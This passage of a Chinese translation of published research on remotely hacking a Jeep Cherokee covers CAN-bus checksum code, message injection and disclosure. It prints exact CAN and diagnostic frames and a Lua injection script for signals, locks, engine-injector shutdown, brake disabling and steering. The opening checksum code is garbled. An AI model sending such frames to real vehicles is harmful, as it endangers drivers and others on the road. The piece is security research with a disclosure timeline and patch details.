            temp_chk = checksum & 0x80

            if (bit_sum != 0):

                bit_sum = 0x1C

                if (temp_chk != 0):

bit_sum = 1

    checksum = checksum << 1

    temp_chk = checksum | 1

    bit_sum ^= temp_chk

else:

    if (temp_chk != 0):

        bit_sum = 0x1D

    checksum = checksum << 1

    bit_sum ^= checksum

        checksum = bit_sum

        shift = shift >> 1

return ~checksum & 0xFF

如果你通过“calc_checksum”函数运行从上面PAM信息获取的3字节数据。更重要的是,我们在吉普车上看到所有包含了1字节校验和的CAN总线都是使用了相同的函数。所以,我们获取到的校验和算法适用于所有感兴趣的信息。这个校验和与我们前面遇到的那个相比,更加复杂。

注意:我们还发现了另外两个校验和,并逆向到了C语言,但是任何我们感兴趣的信息都没有使用这两个校验和。这两个算法很类似但是字节长度不同。

通过网络来发送CAN信息

一旦你能够通过远程漏洞利用来发送CAN信息,那么弄清楚发送哪些信息来影响其物理系统就是小菜一碟了。先前,我们用了整年的时间来弄明白应该向福特和丰田汽车发送哪些信息,所以我们也没有着急也在吉普车上做这样的工作。不过,我们确实也做了少量的一些工作来证明汽车的哪些物理系统是可以通过远程漏洞利用来控制,但是,这并不是我们研究的主要目的。

常规的CAN信息

正如在先前的研究中讨论过的,这里有两类CAN信息,常规信息和诊断信息。在常规操作时,常规信息总是会在总线中出现。诊断信息一般只会在机械测试、处理ECU时或其他非常规情况中才会出现。我们首先检查了一些仅仅通过常规CAN信息就可以操作的物理特性。

转向信号

转向信号,也就是转向灯是通过一条CAN信息控制的,这条CAN信息的ID是’04F0’,位于CAN-C网络上。如果第一个字节是01,就是左转向信号;如果是02,就是右转向信号。下面的LUA脚本可以激活转向指示器。

注意:这个脚本使用了v850的芯片的SPI通讯,所以,CAN ID会移动2个字节来满足硬件需要。

local clock = os.clock

function sleep(n)  -- seconds

  local t0 = clock()

  while clock() - t0 <= n do end

end

ipc = require("ipc")

file = '/dev/ipc/ch7'

g = assert(ipc.open(file))

while true do

-- can3 can2 can1 can0 data0 g:write(0xf0, 0x02, 91, 0x07, 0x00, 0x00, 0xC0, 0x13, 0x01, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00)  -- left turn

      sleep(.001)

end

车锁

锁定信号与转向信号很类似。控制车锁的信息ID是05CE,位于CAN IHS总线上。这个数据有两个字节。如果第二个字节是02,就锁车;如果是04,就开锁。

RPMS

转速表是通过CAN-C总线上的信息01FC控制的。在先前的两个信息示例中只有数据。而这条信息的形式不同,在吉普车上也不常见。*后的两个字节是一个计数器,会自增每条信息和校验和。在前面我们已经介绍过了这个校验和。下面是这条信息的形式:

IDH: 01, IDL: FC, Len: 08, Data: 07 47 4C C1 70 00 45 48

前两个字节就是要显示的RPM。在这个例子中就是0x747,也就是1863 RPM。

CAN诊断信息

诊断信息要比常规信息更强大,但是,如果车辆正在行驶,一般是超过5-10 mph, 多数ECU就会忽略诊断信息。所以,只有车辆在低速行驶时,这类攻击才可能执行,除非攻击者知道如何伪造一个速度来判断是否接收诊断信息。

注意:这台吉普车的诊断信息是29位的CAN信息。

关闭引擎

这条信息是从机械工具发送的一项测试中收集到的。你可以启动一个诊断会话,然后调用’startRoutineByLocalIdentifier’。在这个例子中,本地标识符是15,数据是00 01。这个测试的目的是关闭一个特定的喷油嘴,我们估计是第一个喷油嘴。

发送的信息必须要像下面的形式一样。首先,启动一个诊断会话。再提一下,只有在低速时,这种攻击才能成功。

EID: 18DA10F1, Len: 08, Data: 02 10 92 00 00 00 00 00

然后调用例程:

EID: 18DA10F1, Len: 08, Data: 04 31 15 00 01 00 00 00

刹车

这辆吉普切诺与福特翼虎有着相同的 “功能”,也就是当创建了一个诊断会话时,汽车在行驶过程中就会把刹车踩到底。这样导致的结果就是刹车失灵,造成安全问题,即使这种情况只会发生在低速行驶过程中。

首先,我们需要使用ABS ECU启动一个诊断会话

EID: 18DA28F1, Len: 08, Data: 02 10 03 00 00 00 00 00

然后,我们猛踩刹车(把所有的刹车踩到底)。这只是一条信息(InputOutput ),但是需要多个CAN信息,因为数据太长了,无法放到一个单独的CAN框架中。

EID: 18DA28F1, Len: 08, Data: 10 11 2F 5A BF 03 64 64

EID: 18DA28F1, Len: 08, Data: 64 64 64 64 64 64 64 64

EID: 18DA28F1, Len: 08, Data: 64 64 64 00 00 00 00 00

转向

转向(作为泊车协助的一部分)和防碰撞刹车只能由常规的CAN信息操作。但是,不同于我们以前观察到的车辆,仅仅使用CAN信息注入就更难控制了。例如,在丰田普锐斯上,要想刹车,你只需要向网络发送海量的信息,让高速防碰撞系统来启动刹车。当然,真正的防碰撞系统会说不要踩刹车,因为没有必要。丰田的ABS ECU会发现注入信息和真正的信息之间存在冲突,并会根据信息的出现频率来做出行动。所以,让车辆刹车并不难。

在吉普车上,这类功能却不是这样。我们已经确定了防碰撞系统会使用哪些信息来控制刹车。但是,当我们发送了这个信息时,ECU接收到了我们发出的信息来应用刹车,也接收到了真正的信息说不要刹车,这时吉普上的ABS ECU就会完全关闭防碰撞系统。但是,吉普上这个ECU在设计上就会查找这类异常,并且不会响应。这样,我们在丰田普锐斯上执行的很多操作在吉普上都无法实现。话虽如此,但是还是可以通过伪造信息来控制车辆的关键安全方面。我们并没有在这个方向上投入太多的努力,因为研究重点是远程漏洞利用。

作为我们就此的一个研究案例,我们会离线发送真正信息的ECU。然后,接收信息的ECU就只能看到我们的信息,所以也就不会出现冲突了。弊端是我们必须要利用诊断信息来离线真正的ECU。这就意味着,即使真正的操作只会涉及到常规的CAN信息,我们也只能在低速时执行这种攻击,因为我们首先需要使用诊断信息。

我们会以转向为例来证明这一点。在转向时,如果泊车辅助系统接收到了冲突信息,系统就会离线(实际上,方方向盘可能会有轻微的移动,尤其是当车辆在停止前行时,但是为了获取全面的控制,你必须要遵守这个过程)。泊车辅助模块(PAM)是发送真正信息的ECU。所以,我们要让PAM进入诊断会话,防止PAM发送常规信息。然后,我们发送信息让汽车转向。

首先我们要启动一个涉及PAM的诊断会话:

EID: 18DAA0F1, Len: 08, Data: 02 10 02 00 00 00 00 00

然后,我们发送CAN信息,告诉动力转向ECU来转向。这些信息应该与下面的类似:

IDH: 02, IDL: 0C, Len: 04, Data: 90 32 28 1F

这里的前两个字节是应用到转向轮的扭矩。80 00 是没有扭矩。更大的数字,比如C0 000是逆时针转向,而较小的数字,比如 40 00 是顺时针方转动。第三个字节的第一个半字节用于指示是否启用自动停车 (0 = no,2 = yes)。这个字节的第二个半字节是一个计数器。*后一个字节是校验和。

0x02 问题和修复

 

问题披露

我们在此披露了一些在菲亚特-克莱斯勒汽车(FCA) 中发现的问题。时间如下:

1. 2014年10月:我们发现D-Bus服务暴露了,并且存在漏洞。

2. 2015年3月:我们发现可以再编FCA汽车的V850芯片,从OMAP芯片中发送任意的CAN信息。此时,我们已经通知了他们这些问题,并计划在2015年8月的黑帽大会和DEFCON大会上提出这些发现。

3. 2015年4月:我们发现不仅仅是Wi-Fi,还可以通过蜂窝网络来访问D-Bus。

4. 2015年7月:我们提前将此次研究的副本提供给了FCA,哈曼卡顿,NHTSA和QNX。

5. 2015年7月16日:克莱斯勒公布了解决问题的修复办法。

6. 2015年7月21日:发布了有线文章。

7. 2015年7月24日:Sprint蜂窝网络拦截了端口6667上的流量。克莱斯勒自主召回了140万台车辆。

修复和应对办法

克莱斯勒已经在版本15.26.1中修复了这一问题。我们还没有深入地研究这个修复方案,但是*终结果表明现在汽车已经不会再接收输入的TCP/IP数据包。这是在修复前的nmap扫描结果(版本14.25.5)

启动Nmap 6.01( http://nmap.org ) 的时间:2015-07-26 11:23 CDT

 

安装了修复后的nmap扫描结果:

启动Namp 6.01( http://nmap.org ) 的时间:2015-07-26 11:42 CDT

 

另外,Sprint网络也至少拦截了端口6667上的流量,甚至是来自同一个信号塔的流量。所以,攻击一台存在漏洞,未修复的汽车只能通过Wi-Fi来实现,如果可行的话,通过飞蜂窝连接。这两种攻击方法都需要靠近目标车辆。

0x03 总结

 

这篇文章是2015年以来在汽车安全研究方面的*高成果。在文章中,证明了,大量的菲亚特-克莱斯勒汽车都可以被远程攻击。存在漏洞的车辆成千上万,致使FCA不得不召回了140万台汽车,并且修改了Sprint的运营商网络。这种远程攻击可以针对在美国任何地方的车辆,并且不需要攻击者或驾驶员改装车辆的任何地方或物理交互。由于远程攻击的影响,一些物理系统,比如转向和刹车会受到影响。我们提供此次研究的目的就是希望我们在将来能生产更安全的汽车,这样我们才能在开车时保证自己的安全,避免遭受网络攻击。制造商、供应商和安全研究人员可以利用这些信息,继续深入地调查吉普切诺和其他的车型,共同致力于车辆安全。


  • 电话咨询
  • 15021948198
  • 021-22306692
None